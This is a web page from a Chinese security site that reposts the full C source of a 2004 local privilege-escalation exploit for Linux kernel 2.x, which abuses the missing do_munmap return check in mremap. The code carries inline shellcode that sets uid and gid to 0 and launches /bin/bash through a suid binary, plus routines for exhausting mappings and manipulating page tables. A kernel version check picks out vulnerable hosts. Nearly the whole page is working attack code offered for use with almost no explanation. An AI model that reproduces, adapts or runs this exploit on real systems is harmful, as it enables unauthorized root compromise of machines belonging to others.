首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Linux Kernel 2.x mremap missing do_munmap Exploit
来源:vfocus.net 作者:vitter 发布时间:2004-03-03  

Linux Kernel 2.x mremap missing do_munmap Exploit


/*
*
* mremap missing do_munmap return check kernel exploit
*
* gcc -O3 -static -fomit-frame-pointer mremap_pte.c -o mremap_pte
* ./mremap_pte [suid] [[shell]]
*
* Copyright (c) 2004 iSEC Security Research. All Rights Reserved.
*
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
*
*/

#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <syscall.h>
#include <signal.h>
#include <time.h>
#include <sched.h>

#include <sys/mman.h>
#include <sys/wait.h>
#include <sys/utsname.h>

#include <asm/page.h>


#define str(s) #s
#define xstr(s) str(s)

// this is for standard kernels with 3/1 split
#define STARTADDR 0x40000000
#define PGD_SIZE (PAGE_SIZE * 1024)
#define VICTIM (STARTADDR + PGD_SIZE)
#define MMAP_BASE (STARTADDR + 3*PGD_SIZE)

#define DSIGNAL SIGCHLD
#define CLONEFL (DSIGNAL|CLONE_VFORK|CLONE_VM)

#define MREMAP_MAYMOVE ( (1UL) << 0 )
#define MREMAP_FIXED ( (1UL) << 1 )

#define __NR_sys_mremap __NR_mremap


// how many ld.so pages? this is the .text section length (like cat
// /proc/self/maps) in pages
#define LINKERPAGES 0x14

// suid victim
static char *suid="/bin/ping";

// shell to start
static char *launch="/bin/bash";


_syscall5(ulong, sys_mremap, ulong, a, ulong, b, ulong, c, ulong, d,
ulong, e);
unsigned long sys_mremap(unsigned long addr, unsigned long old_len,
unsigned long new_len, unsigned long flags,
unsigned long new_addr);

static volatile unsigned base, *t, cnt, old_esp, prot, victim=0;
static int i, pid=0;
static char *env[2], *argv[2];
static ulong ret;


// code to appear inside the suid image
static void suid_code(void)
{
__asm__(
" call callme \n"

// setresuid(0, 0, 0), setresgid(0, 0, 0)
"jumpme: xorl %ebx, %ebx \n"
" xorl %ecx, %ecx \n"
" xorl %edx, %edx \n"
" xorl %eax, %eax \n"
" mov $"xstr(__NR_setresuid)", %al \n"
" int $0x80 \n"
" mov $"xstr(__NR_setresgid)", %al \n"
" int $0x80 \n"

// execve(launch)
" popl %ebx \n"
" andl $0xfffff000, %ebx \n"
" xorl %eax, %eax \n"
" pushl %eax \n"
" movl %esp, %edx \n"
" pushl %ebx \n"
" movl %esp, %ecx \n"
" mov $"xstr(__NR_execve)", %al \n"
" int $0x80 \n"

// exit
" xorl %eax, %eax \n"
" mov $"xstr(__NR_exit)", %al \n"
" int $0x80 \n"

"callme: jmp jumpme \n"
);
}


static int suid_code_end(int v)
{
return v+1;
}


static inline void get_esp(void)
{
__asm__(
" movl %%esp, %%eax \n"
" andl $0xfffff000, %%eax \n"
" movl %%eax, %0 \n"
: : "m"(old_esp)
);
}


static inline void cloneme(void)
{
__asm__(
" pusha \n"
" movl $("xstr(CLONEFL)"), %%ebx \n"
" movl %%esp, %%ecx \n"
" movl $"xstr(__NR_clone)", %%eax \n"
" int $0x80 \n"
" movl %%eax, %0 \n"
" popa \n"
: : "m"(pid)
);
}


static inline void my_execve(void)
{
__asm__(
" movl %1, %%ebx \n"
" movl %2, %%ecx \n"
" movl %3, %%edx \n"
" movl $"xstr(__NR_execve)", %%eax \n"
" int $0x80 \n"
: "=a"(ret)
: "m"(suid), "m"(argv), "m"(env)
);
}


static inline void pte_populate(unsigned addr)
{
unsigned r;
char *ptr;

memset((void*)addr, 0x90, PAGE_SIZE);
r = ((unsigned)suid_code_end) - ((unsigned)suid_code);
ptr = (void*) (addr + PAGE_SIZE);
ptr -= r+1;
memcpy(ptr, suid_code, r);
memcpy((void*)addr, launch, strlen(launch)+1);
}


// hit VMA limit & populate PTEs
static void exhaust(void)
{
// mmap PTE donor
t = mmap((void*)victim, PAGE_SIZE*(LINKERPAGES+3), PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
if(MAP_FAILED==t)
goto failed;

// prepare shell code pages
for(i=2; i<LINKERPAGES+1; i++)
pte_populate(victim + PAGE_SIZE*i);
i = mprotect((void*)victim, PAGE_SIZE*(LINKERPAGES+3), PROT_READ);
if(i)
goto failed;

// lock unmap
base = MMAP_BASE;
cnt = 0;
prot = PROT_READ;
printf("\n"); fflush(stdout);
for(;;) {
t = mmap((void*)base, PAGE_SIZE, prot,
MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
if(MAP_FAILED==t) {
if(ENOMEM==errno)
break;
else
goto failed;
}
if( !(cnt%512) || cnt>65520 )
printf("\r MMAP #%d 0x%.8x - 0x%.8lx", cnt, base,
base+PAGE_SIZE); fflush(stdout);
base += PAGE_SIZE;
prot ^= PROT_EXEC;
cnt++;
}

// move PTEs & populate page table cache
ret = sys_mremap(victim+PAGE_SIZE, LINKERPAGES*PAGE_SIZE, PAGE_SIZE,
MREMAP_FIXED|MREMAP_MAYMOVE, VICTIM);
if(-1==ret)
goto failed;

munmap((void*)MMAP_BASE, old_esp-MMAP_BASE);
t = mmap((void*)(old_esp-PGD_SIZE-PAGE_SIZE), PAGE_SIZE,
PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0,
0);
if(MAP_FAILED==t)
goto failed;

*t = *((unsigned *)old_esp);
munmap((void*)VICTIM-PAGE_SIZE, old_esp-(VICTIM-PAGE_SIZE));
printf("\n[+] Success\n\n"); fflush(stdout);
return;

failed:
printf("\n[-] Failed\n"); fflush(stdout);
_exit(0);
}


static inline void check_kver(void)
{
static struct utsname un;
int a=0, b=0, c=0, v=0, e=0, n;

uname(&un);
n=sscanf(un.release, "%d.%d.%d", &a, &b, &c);
if(n!=3 || a!=2) {
printf("\n[-] invalid kernel version string\n");
_exit(0);
}

if(b==2) {
if(c<=25)
v=1;
}
else if(b==3) {
if(c<=99)
v=1;
}
else if(b==4) {
if(c>18 && c<=24)
v=1, e=1;
else if(c>24)
v=0, e=0;
else
v=1, e=0;
}
else if(b==5 && c<=75)
v=1, e=1;
else if(b==6 && c<=2)
v=1, e=1;

printf("\n[+] kernel %s vulnerable: %s exploitable %s",
un.release, v? "YES" : "NO", e? "YES" : "NO" );
fflush(stdout);

if(v && e)
return;
_exit(0);
}


int main(int ac, char **av)
{
// prepare
check_kver();
memset(env, 0, sizeof(env));
memset(argv, 0, sizeof(argv));
if(ac>1) suid=av[1];
if(ac>2) launch=av[2];
argv[0] = suid;
get_esp();

// mmap & clone & execve
exhaust();
cloneme();
if(!pid) {
my_execve();
} else {
waitpid(pid, 0, 0);
}

return 0;
}





 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·WFTPD Server buffer overflow R
·Red Faction Server Reply Buffe
·ServU MDTM exploit
·WFTPd STAT Command Remote Vuln
·PSOProxy v0.91 Remote buffer O
·GNU Anubis 3.6.2 remote root e
·Serv-U MDTM Exploits
·Nortel Networks Wireless LAN A
·Serv-U \site chmod xxx \Exploi
·Mathopd 缓冲溢出漏洞
·Microsoft ASN.1 Library Buffer
·Remote Buffer Overflow in MDae
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved